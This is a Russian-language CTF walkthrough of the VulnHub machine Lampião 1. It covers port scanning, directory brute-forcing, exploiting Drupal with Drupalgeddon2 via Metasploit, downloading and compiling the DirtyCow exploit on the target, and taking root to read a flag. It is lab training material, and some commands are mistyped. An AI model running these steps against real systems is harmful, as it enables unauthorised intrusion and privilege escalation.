Всем привет! Сегодня я хочу рассказать как решать задачу CTF размещенную на
vulnhub.com под названием
Lampião 1.
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.
Уровень легкий
Скачать образ вы можете отсюда:
Index of /lampiao/
В данном случае я не буду использовать Kali Linux, а буду использовать
PentestBox под Windows.
Для тех кто не в танке
PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.
Прохождение
После того как мы загрузили и настроили машину, наша цель - получить IP. Сделать это можно несколькими способами, для этих целей подходит:
Код:
arp-scan -l, netdiscover
Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP
Обратите внимание: IP-адрес цели и компьютера-злоумышленника может отличаться в зависимости от конфигурации вашей сети.
Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать
nmap
Код:
Команда: nmap -sV -p- 192.168.1.138.
Вот что мы получим:
Теперь рассмотрим что значит
- сканирование всех портов.
Код:
[COLOR=rgb(65, 168, 95)]-sV[/COLOR]
- определение служб. Мы имеем 3 открытых порта(
80, 22, 1898).
Начнем с порта 80. Перейдя по адресу
Код:
http://192.168.1.138:80
мы увидим.
После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать
dirsearch
Код:
Команда: python3 dirsearch.py -u http://192.168.1.138:80 -e html,php,txt,bak -x 403
где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт -
1898.
Переходим по адресу
Код:
http://192.168.1.138:1898
Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу
Код:
http://192.168.1.138:1898/CHANGELOG.txt
Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия
Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2(CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в
metasploitИспользуя модуль drupal_drupalgeddon2 мы должны получить сессию.
Код:
Команда: use exploit/unix/webapp/drupal_drupalgeddon2[COLOR=rgb(239, 239, 239)]
[/COLOR]
Посмотрим какие данные нам нужно заполнить
Установим значение
RHOST, RPORT
Код:
Код:
set rhost 192.168.1.138
set rport 1898
Теперь получим командную оболочку -
shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.
Код:
python -c 'import pty; pty.spawn (“/ bin / bash”)'
Получим информацию о версии ядра
Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)
Найти exploit не трудно. С помощью команды wget скачаем exploit.
Код:
wget https://www.exploit-db.com/download/40847.cpp (используется для загрузки exploit на целевой машине)
Теперь наша задача скомпилировать exploit. На самой странице https://www.exploit-db.com/download/40847.cpp можно найти код
Код:
g ++ -Wall -pedantic -O2 -std = c ++ 11 -pthread -o dcow 40847.cpp -lutil
Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению:
После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.
Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt
На этом все)